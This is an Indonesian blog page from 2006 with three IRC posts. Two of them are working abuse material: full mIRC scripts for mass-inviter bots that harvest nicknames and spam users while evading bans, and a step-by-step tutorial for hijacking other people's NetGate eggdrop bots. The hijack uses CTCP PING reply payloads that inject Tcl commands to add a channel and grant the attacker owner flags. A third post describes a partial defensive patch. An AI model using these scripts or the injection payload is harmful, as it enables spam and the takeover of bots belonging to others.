Showing posts with label irc. Show all posts
Showing posts with label irc. Show all posts

Tuesday, January 31, 2006

Super Inviter IRC

Berikut ini Saya akan berikan beberapa tips & trik serta sedikit tutor untuk membuat Super Inviter ala anak-anak jasakom.
Gunakanlah ini untuk kebaikan, walau daku tidak menggunakannya. Namun ini sudah di coba kawan-kawan di jasakom.

1. Expert Inviter (Anti Banned) by CyberMad, kecuali oleh IRC Cop.
Cara kerjanya adalah mIRC 1 (Spy) mencatat data nick yang join ke suatu channel ke InviteList.txt pada folder Data. Lalu mIRC 2 (Inviter) mengambil data nick, lalu mengirim pesan invite. Bila nick tersebut OP, Voice, Quit, ganti Nick, error Nick akan segera di delete nicknya. Pastikan menggunakan 2 IP berbeda.

Berikut ini script pada mIRC 1 yang bertugas sebagai spy / mata-mata. Pastikan anda sudah membuat folder Data pada direktori mIRC.

[ REMOTE ]
#ExpertInvite off
on 1:join:#: {
if ($nick == $me) { halt } | else { set %nick $nick | write Data/InviteList.txt %nick }
}
on 1:op:#: {
write -dw* $+ $opnick $+ * Data/InviteList.txt
echo -s * __7I__12nvite to (_1 $+ $opnick $+ _12) stoped! They were oped in (_1 $+ $chan $+ _12)
}
on 1:voice:#: {
write -dw* $+ $vnick $+ * Data/InviteList.txt
echo -s * __7I__12nvite to (_1 $+ $vnick $+ _12) stoped! They were voiced in (_1 $+ $chan $+ _12)
}
on 1:quit: {
if ($nick == me) { halt } | else { write -dl1 Data/InviteList.txt | echo -s * __7I__12nvite to (_1 $+ $nick $+ _12) stoped! They quit IRC }
write -dw* $+ $nick $+ * InviteList.txt
}
on 1:nick: {
write -dw* $+ $nick $+ * Data/InviteList.txt
write Data/InviteList.txt $newnick
echo -s * __7I__12nvite to (_1 $+ $nick $+ _12) stoped! They changed there nickname to (_1 $+ $newnick $+ _12)
}
raw 401:*: {
write -dw* $+ $2 $+ * Data/InviteList.txt
echo -a * __7E__12rror sending invite to (_1 $+ $2 $+ _12) aborting
}
#ExpertInvite end

[POPUP-menubar]
Expert
.Start Spy:/enable #ExpertInvite
.Stop Spy:/disable #ExpertInvite

Berikut ini script pada mIRC 2 yang bertugas sebagai Inviter.
[REMOTE]
on 1:START: titlebar .:: MadCodes Script ::. OffLine [[ %InvitedPeople people invited ]]
on 1:CONNECT: titlebar .:: MadCodes Script ::. OnLine [[ %InvitedPeople people invited ]]
on 1:DISCONNECT: titlebar .:: MadCodes Script ::. OffLine [[ %InvitedPeople people invited ]]

[POPUP-menubar]
Start Invite:/StartInvite
Stop Invite:/timerInvite off
-
Set Message:/set %ExpertInviter.Message $$?="Message"

[ALIASES]
/StartInvite /timerInvite 0 5 /gabung
/gabung /set %invite $read -l1 ../Data/InviteList.txt | msg %invite %ExpertInviter.Message | inc %InvitedPeople | write -dl1 ../Data/InviteList.txt


2. Advanced Inviter

Tipe inviter satu ini hampir mirip dengan xGuest, tetapi kelebihan yang satu ini adalah OpenSource dan langsung di mIRC hehehe. Jadi dapat lu kembangkan menjadi lebih baik.

Save script dibawah dengan nama massinviteoke.mrc di folder mIRC, lalu load file tersebut dari mIRC.

Credit: Script untuk Advanced Inviter (massinviteoke.mrc) bukan buatan saya (CyberMad), saya hanya menulis ulang disini. Sangat disayangkan... saya tidak mengetahui nama pembuat aslinya.



on 1:LOAD:/auser me $me
alias tanya {
if ( %tc == $null ) { set %tc $chan }
if ( %server = $null ) { /set %server $$?="enter SERVER" }
if ( %msg != $null ) goto msg1
:msg
/set %msg $$?=" enter message"
:msg1
//echo -a 5This is your message: %msg
/set %msgok $$?="Message okay? Y/N"
if ( %msgok == N ) { goto msg | halt }
/undang
/unset %msgok
}
alias undang {
set %tp $nopnick(%tc,0)
set %pn 1
:begin
set %p $nopnick(%tc,%pn)
/write penghuni.txt %p
inc %pn
if ( %pn >= %tp ) { goto end }
goto begin
:end
/part %tc
/pesan
}
alias pesan {
:mulai
inc %cunt1
if ( %cunt > %tp ) { .remove penghuni.txt | unset %tc | unset %tp | unset %pn | unset %p | unset %pn1 | unset %cunt | unset %cunt1 | /echo -s DONE! | /quit | halt }
set %p $read -l $+ %cunt penghuni.txt
set %FILTER3 $addtok(%FILTER3,%p,44)
if ($gettok(%FILTER3,0,44) == 4) { .msg $gettok(%FILTER3,1-4,44) %msg | unset %FILTER3 }
/echo -s 12 Msg sent to 4 $read -l $+ %cunt penghuni.txt 1 at 3 %tc 6 %cunt of %tp
inc %cunt
if ( %cunt1 == 51 ) { /timer 1 2 /unset %cunt1 | /timer 1 5 /quit leaving | /timer 1 7 /server %server | halt }
goto mulai
}
raw 401:*: { halt }
raw 403:*: { halt }
on 1:CONNECT: {
if ( %cunt == $null ) { halt }
/pesan
}
menu menubar {
<< G-Mass-Inviter >>
-
Join a channel (invite from this channel): /set %tc $$?="Enter channel invite from" | /join %tc
-
Start Mass-invite: /tanya
-
End Mass-invite / Reset: /disconnect | unset %tc %tp %pn %p %cunt* | remove penghuni.txt
}

on me:JOIN:#: set %tc $chan
alias undangall {
set %tp $nick(%tc,0)
set %pn 1
:begin
set %p $nick(%tc,%pn)
/write penghuni.txt %p
inc %pn
if ( %pn >= %tp ) { goto end }
goto begin
:end
/part %tc
/pesan
}
on 1:CHAT:*: /ignore -pntik *!*@*

Nah demikian saja sedikit informasi dan ilmu saya bagikan, semoga menikmati.Maaf penulis tidak bertanggung jawab atas tindakan yang dilakukan karena artikel ini, artikel ini hanya dibuat untuk pengetahuan.Segala sesuatu yang berkaitan dengan artikel ini bukan lah tanggung jawab penulis.

NB: Tutor diambil dari -= http://www.jasakom.com =-

Cegah Pencuri Bot di IRC.DAL.NET

Pada beberapa waktu lalu saya sudah memberikan sedikit pengalaman dan sedikit sharing tentang bagaimana mencuri bot. Hal ini dapat terjadi karena TCL NetGate memiliki bug, dan banyak orang telah memodifikasinya sehingga mereka menambahkan owner serta basechan mereka. Sekarang sudah saat nya saya memberikan cara bagaimana untuk menangkalnya. Fix yang akan kita lakukan ini agak sedikit bervariasi, karena TCL NetGate sendiri di kembangkan oleh banyak orang sehingga bergantung pada siapakah yang memodifikasinya. Nah untuk itu mari kita mulai dengan tutorial kecil kita.Untuk itu marilah ikuti langkah-langkah seperti berikut:

1. Yang pertama kali adalah jangan lupa untuk hidupkan kompi dan duduk di depan kompi mu.
2. Eits sebelum memulai beraksi, kita harus menyiapkan diri agar tetap tenang dan dapat berpikir jernih. Jangan lupa rokok, korek dan segelas topi hitam hangatnya.
3. Nah setelah semua siap maka, hmmm .... nyalakan dulu rokoknya donk. Nah setelah itu teguklah kopi hitam kental dan hangat yang akan membuat perasaan tenang dan nikmat.
4. Setelah kita bisa tenang dan berpikir jernih maka waktu nya bagi kita untuk siap beraksi.
5. Pertama kali kita harus membuka TCL nya, dalam hal ini namanya bisa bermacam-macam tapi yang pasti yang merupakan TCL pengaturan botnya.
6. Nah yang harus kita lakukan pada TCL nya adalah dengan menghilangkan auto owner dari sang pembuat script.Maaf disini aku tidak akan memberitahu secara rinci mengenai penghapusan penambahan owner dan basechan. Karena hal ini sangat ditentukan oleh siapa perombak tcl tersebut. So beda-beda tiap nama tcl turunan NetGate.
7. Nah klo itu semua sudah beres dan bot kita tidak lagi join ke channel aneh2 ato melakukan sesuatu yg aneh2 maka tinggal kita kelarkan dech bug dasar dari TCL netgate ini.
8. Carilah barisan script sebagai berikut:

bind ctcp - UNBAN sl_ctcp
bind ctcp - TIME sl_ctcp
bind ctcp - VERSION sl_ctcp
bind ctcp - CHAT chat_ctcp

9. Nah setelah itu tambahkanlah barisan script berikut :

bind ctcp - PING ping_reply

10. Nah aman dech sekarang bot kamu dari para pencuri untuk sementara.hmmm SEmentara????
IYah sistem itu tidak ada yang sempurna, yang ada adalah yang lebih baik dan kurang baik. Saya tidak menjamin sepenuhnya bot kamu tidak akan dapat gangguan lain, so bongkar lebih dalam tcl nya okeh untuk terus menyempurnakannya.

DEmikianlah mungkin saya berbagi pengalaman dan informasi sedikit mengenai TCL NETGATE dan turunannya.

Friday, January 20, 2006

Mencuri Bot Di IRC.DAL.NET

Dengan sedikit pengalaman di dunia irc.dal.net, hal ini membuat ku jadi tertarik. Begitu banyak yang di dapat, terutama dunia bajak-membajak mulai dari server, shell sampai pada bot (eggdrop). Ada Sedikit pengalaman bisa dijadikan pelajaran. Waktu itu aku bingung dengan tingkah laku dan tindak tanduk bot ku, aku menggunakan dua jenis TCL; pertama adalah tcl NETGATE keluaran anyar dari MAXFIDER, kedua adalah Kinana dari kinana crew (sebenarnya turunan TCL NETGATE).
Setelah melakukan pengecekan dan pelacakan ternyata bot ku dicuri, dan sudah ada beberapa channel di dalamnya yang aku tidak kenal.Dan yang membuat ku sempat ketar-ketir adalah sudah ada beberapa nama yang menjadi Owner bot ku yang aku tidak kenal. Dengan langkah seribu kulacak dan ku satroni channels tersebut.Tapi apa yang kudapati adalah channel yang banyak dengan bot curian juga.
Singkat Cerita aku mencari artikel dan informasi tentang itu, eh ternyata dapet dari teman di #binushacker dan #cerianet.Singkat cerita aku tau bahwa tcl NETGATE ada bug nya.
Ternyata ada cara untuk mengambil bot seseorang, aku akan beri sedikit tutorial:
1. Langkah pertama adalah, duduk dengan sikap manis dan nyalakan komputer mu.
2. Langkah kedua adalah siapkan software MIRC dan terhubunglah kedunia internet.
3. Langkah ketiga adalah, pasti dan tak boleh terlupakan siapkan rokok dan kopi di sampingmu.Hmm...
4. Minum sedikit kopi, lalu tariklah napas dan hisaplah sebatang rokok .... hmmmm setelah anda rileks marilah kita mulai.
5. Sekarang siapkan software MIRC mu itu, eit muncul window untuk register...hmm masak hari gini belom di register.
6. Setelah MIRC dibuka maka masukkan lah scripts berikut :
on 1:ctcpreply:ping*:{ ctcpreply $nick PING [set ctcp-mode 0;channel add #channelmu]} :pada Script Editor yang tersedia.
7. Nah setelah beres semua maka jangan lupa save dan keluar dari Script Editor.
8. Langsung dech hubungkan MIRC mu ke dunia maya, nah script mu siap dipakai beraksi dech.
9. Nah untuk menggunakannya tinggal kamu ping dengan fasilitas CTCP dari mirc untuk bot yang kamu incar.
10. Nah selesailah sudah bot itu akan masuk ke channelmu
11. Nah klo kamu mau ngambil jadi bot kmu gimana yach???Nah klo itu tinggal masukkin ajah dech script berikut ke script editor nya:
On 1:ctcpreply:ping*:{ctcpreply $nick PING [set ctcp-ping 0;adduser nickmu yournic!*@*;chattr nickmu "Zfhjmnovptx"]

Penulis tidak bertanggung jawab atas praktek yang dilakukan orang atas dibacanya Tutor ini, tutor ini diberikan hanya untuk memberikan pengetahuan.Hal yang terjadi atas penulisan ini tidak di tanggung pihak penulis.
Hmm Setelah kita punya bot itu enaknya di pake paan yach??Hmm apa bugnya cuman itu???.Nah tinggal anda obok-obok dech tuh NETGATE.tcl